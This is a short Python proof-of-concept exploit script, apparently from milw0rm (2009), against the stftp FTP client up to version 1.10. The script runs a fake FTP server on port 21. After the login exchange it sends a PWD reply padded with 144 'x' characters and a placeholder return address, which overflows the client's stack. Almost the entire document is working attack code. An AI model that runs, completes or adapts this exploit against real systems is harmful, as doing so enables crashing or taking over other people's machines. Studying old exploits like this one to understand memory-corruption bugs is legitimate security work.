#!/usr/bin/python
# stftp <= 1.10 (PWD Response Stack Overflow) PoC
# Tested on: OpenSuSE 11.1 x64
# Coding: sqlevil - sqlevil@hotmail.com
# Viva Muslam Al-Barrak
from socket import *
class tcp:
def __init__(self):
self.s = socket(AF_INET, SOCK_STREAM)
self.s.bind(("0.0.0.0",21))
def getnext(self):
print ("Listening for connection ...\n")
self.s.listen(1)
c, addr = self.s.accept()
print ("client is nOw cOnnected\n")
return c
def close(self):
self.s.close();
class ftp:
def exCommand(self, command):
if (len(command)<80):
print("S -> C: " + command)
else:
print("S -> C: " + command[0:80] + " ...")
self.s.send(command+'\r\n')
def getCommand(self, size=1024):
ret = self.s.recv(size);
if (len(ret)<80):
print ("C -> S: " +ret)
else:
print ("C -> S: " +ret[0:80] + " ...")
return ret
def __init__(self, c):
self.s=c
def Banner(self, str="Hi There"):
self.exCommand( "220 %s" % str)
def Auth(self, str1="pwd please", str2="OK"):
self.getCommand()
self.exCommand( "331 %s" % str1)
self.getCommand()
self.exCommand( "230 %s" % str2)
def PWD(self, path='/', str='"%s" is current directory.'):
self.getCommand()
self.exCommand( '257 %s' % str % path)
def Reject(self):
self.getCommand()
self.exCommand( "230 ERR Type set to I.")
def SYST(self):
self.getCommand()
self.exCommand( "215 UNIX Type: L8")
def PORT(self):
self.getCommand()
self.exCommand( "200 PORT command successful.")
def CWD(self):
self.getCommand()
self.exCommand( "250 CWD command successful.")
def PASIV(self):
self.getCommand()
self.exCommand( "227 Entering Passive Mode (174,142,51,122,17,214).")
def stftp(self):
# TODO: Enter yOur desire address here
retadd='abcdefghi'
self.Banner()
self.Auth()
# This custom string is adjusted for x64 architeture
self.PWD('x'*144+retadd)
self.getCommand()
t = tcp()
try:
f=ftp(t.getnext())
f.stftp()
except: pass
finally:
t.close()
print "by3 <<<"
# milw0rm.com [2009-07-27]